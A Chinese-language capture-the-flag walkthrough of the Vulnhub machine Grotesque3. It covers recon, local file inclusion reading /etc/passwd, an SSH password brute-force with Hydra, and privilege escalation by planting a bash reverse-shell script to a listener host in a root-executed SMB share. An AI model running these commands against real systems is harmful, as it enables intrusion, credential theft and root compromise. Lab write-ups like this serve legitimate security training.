Vulnhub之Grotesque3靶机详细测试过程

Grotesque3

识别目标主机IP地址

─(kali㉿kali)-[~/Desktop/Vulnhub/grotesque3]
└─$ sudo netdiscover -i eth1 -r 192.168.56.0/24
Currently scanning: 192.168.56.0/24   |   Screen View: Unique Hosts                                                                                        

 3 Captured ARP Req/Rep packets, from 3 hosts.   Total size: 180                                                                                            
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.56.1    0a:00:27:00:00:11      1      60  Unknown vendor                                                                                           
 192.168.56.100  08:00:27:a8:8b:04      1      60  PCS Systemtechnik GmbH                                                                                   
 192.168.56.156  08:00:27:de:25:1a      1      60  PCS Systemtechnik GmbH             

利用Kali Linux的netdiscover工具识别目标主机的IP地址为192.168.56.156

NMAP扫描

┌──(kali㉿kali)-[~/Desktop/Vulnhub/grotesque3]
└─$ sudo nmap -sS -sV -sC -p- 192.168.56.156 -oN nmap_full_scan
Starting Nmap 7.92 ( https://nmap.org ) at 2023-04-26 22:34 EDT
Nmap scan report for bogon (192.168.56.156)
Host is up (0.0013s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 6a:fe:d6:17:23:cb:90:79:2b:b1:2d:37:53:97:46:58 (RSA)
|   256 5b:c4:68:d1:89:59:d7:48:b0:96:f3:11:87:1c:08:ac (ECDSA)
|_  256 61:39:66:88:1d:8f:f1:d0:40:61:1e:99:c5:1a:1f:f4 (ED25519)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.38 (Debian)
MAC Address: 08:00:27:DE:25:1A (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 121.48 seconds

NMAP扫描结果表明目标主机有2个开放端口:22(ssh)、80(http)

获得Shell

浏览器访问80端口,返回页面图片中有提示md5?

可能指的是目录字典需要md5加密?

(kali㉿kali)-[~/Desktop/Vulnhub/grotesque3]
└─$ for each in $(cat /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt );do echo $each | md5sum >> dirmd5.txt;done

然后去掉每行结果的'-'

$ sed -i 's/-//' dirmd5.txt

然后删除空格:

(kali㉿kali)-[~/Desktop/Vulnhub/grotesque3]
└─$ sed -e 's/[[:blank:]]\+$//' -i dirmd5.txt
┌──(kali㉿kali)-[~/Desktop/Vulnhub/grotesque3]
└─$ gobuster dir -u http://192.168.56.156 -w dirmd5.txt -x .php,.html,.txt,.sh,.js,.bak
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.56.156
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                dirmd5.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.5
[+] Extensions:              txt,sh,js,bak,php,html
[+] Timeout:                 10s
===============================================================
2023/04/26 23:23:45 Starting gobuster in directory enumeration mode
===============================================================
/f66b22bf020334b04c7d0d3eb5010391.php (Status: 200) [Size: 0]

利用gobuster工具发现了文件

但是访问该文件,返回为空,做一下FUZZ测试(模糊测试)

┌──(kali㉿kali)-[~/Desktop/Vulnhub/grotesque3]
└─$ wfuzz -c -u 'http://192.168.56.156/f66b22bf020334b04c7d0d3eb5010391.php?FUZZ=../../../../../etc/passwd' -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --hw 0
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://192.168.56.156/f66b22bf020334b04c7d0d3eb5010391.php?FUZZ=../../../../../etc/passwd
Total requests: 220560

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                     
=====================================================================

000017563:   200        27 L     40 W       1457 Ch     "purpose"            
┌──(kali㉿kali)-[~/Desktop/Vulnhub/grotesque3]
└─$ curl http://192.168.56.156/f66b22bf020334b04c7d0d3eb5010391.php?purpose=../../../../etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
freddie:x:1000:1000:freddie,,,:/home/freddie:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
mysql:x:106:112:MySQL Server,,,:/nonexistent:/bin/false

经过测试,目标存在本地文件包含漏洞。接下里的目标是得到shell,先看下是否有SSH私钥文件

──(kali㉿kali)-[~/Desktop/Vulnhub/grotesque3]
└─$ curl http://192.168.56.156/f66b22bf020334b04c7d0d3eb5010391.php?purpose=../../../../home/freddie/.ssh/id_rsa

没有内容返回,表明目标用户freddie不存在SSH私钥文件,接下来看是否存在远程文件包含

在Kali Linux上启动http.server,然后浏览器访问:

http://192.168.56.156/f66b22bf020334b04c7d0d3eb5010391.php?purpose=http://192.168.56.230:8000/test.txt

经测试,目标不存在远程文件包含漏洞。

那看下是否可以破解用户freddie的ssh密码

──(kali㉿kali)-[~/Desktop/Vulnhub/grotesque3]
└─$ hydra -l freddie -P /usr/share/wordlists/rockyou.txt ssh://192.168.56.156    
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

运行了15分钟仍然没有破解出来。

密码字典应该用之前的得到md5运算后的字典。

──(kali㉿kali)-[~/Desktop/Vulnhub/grotesque3]
└─$ hydra -l freddie -P dirmd5.txt  ssh://192.168.56.156
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-04-27 03:00:28
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 433752 login tries (l:1/p:433752), ~27110 tries per task
[DATA] attacking ssh://192.168.56.156:22/
[STATUS] 145.00 tries/min, 145 tries in 00:01h, 433610 to do in 49:51h, 13 active
[STATUS] 92.00 tries/min, 276 tries in 00:03h, 433479 to do in 78:32h, 13 active
[STATUS] 85.86 tries/min, 601 tries in 00:07h, 433154 to do in 84:06h, 13 active
[STATUS] 83.60 tries/min, 1254 tries in 00:15h, 432501 to do in 86:14h, 13 active
[22][ssh] host: 192.168.56.156   login: freddie   password: 61a4e3e60c063d1e472dd780f64e6cad
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 3 final worker threads did not complete until end.
[ERROR] 3 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-04-27 03:29:04

得到了用户freddie的密码

┌──(kali㉿kali)-[~/Desktop/Vulnhub/grotesque3]
└─$ ssh [email protected]               
The authenticity of host '192.168.56.156 (192.168.56.156)' can't be established.
ED25519 key fingerprint is SHA256:P07e9iTTwbyQae7lGtYu8i4toAyBfYkXY9/kw/dyv/4.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.56.156' (ED25519) to the list of known hosts.
[email protected]'s password: 
Linux grotesque 4.19.0-13-amd64 #1 SMP Debian 4.19.160-2 (2020-11-28) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
freddie@grotesque:~$ id
uid=1000(freddie) gid=1000(freddie) groups=1000(freddie),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev)
freddie@grotesque:~$ sudo -l
-bash: sudo: command not found
freddie@grotesque:~$ ls -alh
total 20K
drwxr-xr-x 4 freddie freddie 4.0K Apr 26 23:41 .
drwxr-xr-x 3 root    root    4.0K Dec 17  2020 ..
drwx------ 3 freddie freddie 4.0K Apr 26 23:41 .gnupg
drwx------ 2 freddie freddie 4.0K Jul 11  2021 .ssh
-r-x------ 1 freddie freddie   32 Jul 11  2021 user.txt
freddie@grotesque:~$ cat user.txt
35A7EB682E33E89606102A883596A880

提权


pspy是一个命令行工具,它可以在没有Root权限的情况下,监控Linux进程。将pspy64上传到目标主机/tmp目录,修改权限,执行pspy64

其中有一行:

2023/04/27 00:38:01 CMD: UID=0     PID=3858   | /bin/sh -c bash /smbshare/*

似乎root会执行/smbshare下的脚本,用ss命令看一下端口

freddie@grotesque:/tmp$ ss -tunlp
Netid            State             Recv-Q            Send-Q                          Local Address:Port                         Peer Address:Port            
udp              UNCONN            0                 0                                     0.0.0.0:68                                0.0.0.0:*               
udp              UNCONN            0                 0                              192.168.56.255:137                               0.0.0.0:*               
udp              UNCONN            0                 0                              192.168.56.156:137                               0.0.0.0:*               
udp              UNCONN            0                 0                                     0.0.0.0:137                               0.0.0.0:*               
udp              UNCONN            0                 0                              192.168.56.255:138                               0.0.0.0:*               
udp              UNCONN            0                 0                              192.168.56.156:138                               0.0.0.0:*               
udp              UNCONN            0                 0                                     0.0.0.0:138                               0.0.0.0:*               
tcp              LISTEN            0                 128                                   0.0.0.0:22                                0.0.0.0:*               
tcp              LISTEN            0                 50                                    0.0.0.0:445                               0.0.0.0:*               
tcp              LISTEN            0                 80                                  127.0.0.1:3306                              0.0.0.0:*               
tcp              LISTEN            0                 50                                    0.0.0.0:139                               0.0.0.0:*               
tcp              LISTEN            0                 128                                         *:80                                      *:*               
tcp              LISTEN            0                 50                                       [::]:445                                  [::]:*               
tcp              LISTEN            0                 50                                       [::]:139                                  [::]:*           

可以看到目标确实有SMB协议

freddie@grotesque:/tmp$ smbclient -L 127.0.0.1
Unable to initialize messaging context
Enter WORKGROUP\freddie's password: 

        Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        grotesque       Disk      grotesque
        IPC$            IPC       IPC Service (Samba 4.9.5-Debian)
Reconnecting with SMB1 for workgroup listing.

        Server               Comment
        ---------            -------

        Workgroup            Master
        ---------            -------
        WORKGROUP            GROTESQUE
freddie@grotesque:/tmp$ smbclient //127.0.0.1/grotesque
Unable to initialize messaging context
Enter WORKGROUP\freddie's password: 
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Sun Jul 11 09:24:27 2021
  ..                                  D        0  Sun Jul 11 09:20:30 2021

                1942736 blocks of size 1024. 674116 blocks available
smb: \> 

所以可以上传shell脚本到上述共享目录

┌──(kali㉿kali)-[~/Desktop/Vulnhub/grotesque3]
└─$ cat escalate.sh 
#!/bin/bash
bash -i >& /dev/tcp/192.168.56.230/6666 0>&1

freddie@grotesque:/tmp$ wget http://192.168.56.230:8000/escalate.sh
--2023-04-27 00:45:19--  http://192.168.56.230:8000/escalate.sh
Connecting to 192.168.56.230:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 57 [text/x-sh]
Saving to: ‘escalate.sh’

escalate.sh                             100%[============================================================================>]      57  --.-KB/s    in 0s      

2023-04-27 00:45:19 (11.9 MB/s) - ‘escalate.sh’ saved [57/57]

freddie@grotesque:/tmp$ chmod +x escalate.sh 
freddie@grotesque:/tmp$ smbclient //127.0.0.1/grotesque
Unable to initialize messaging context
Enter WORKGROUP\freddie's password: 
Try "help" to get a list of possible commands.
smb: \> put escalate.sh 
putting file escalate.sh as \escalate.sh (0.4 kb/s) (average 0.4 kb/s)
smb: \> ls
  .                                   D        0  Thu Apr 27 00:46:08 2023
  ..                                  D        0  Sun Jul 11 09:20:30 2021
  escalate.sh                         A       57  Thu Apr 27 00:46:08 2023

                1942736 blocks of size 1024. 674112 blocks available
smb: \> 

┌──(kali㉿kali)-[~/Desktop/Vulnhub/grotesque3]
└─$ sudo nc -nlvp 6666                                         
[sudo] password for kali: 
listening on [any] 6666 ...
connect to [192.168.56.230] from (UNKNOWN) [192.168.56.156] 59614
bash: cannot set terminal process group (3986): Inappropriate ioctl for device
bash: no job control in this shell
root@grotesque:~# id
id
uid=0(root) gid=0(root) groups=0(root)
root@grotesque:~# cd /root
cd /root
root@grotesque:~# ls -alh
ls -alh
total 16K
drwx------  2 root root 4.0K Jul 11  2021 .
drwxr-xr-x 19 root root 4.0K Jul 11  2021 ..
-rw-------  1 root root   42 Jul 11  2021 .bash_history
-r-x------  1 root root   32 Jul 11  2021 root.txt
root@grotesque:~# cat root.txt
cat root.txt
5C42D6BB0EE9CE4CB7E7349652C45C4Aroot@grotesque:~# 

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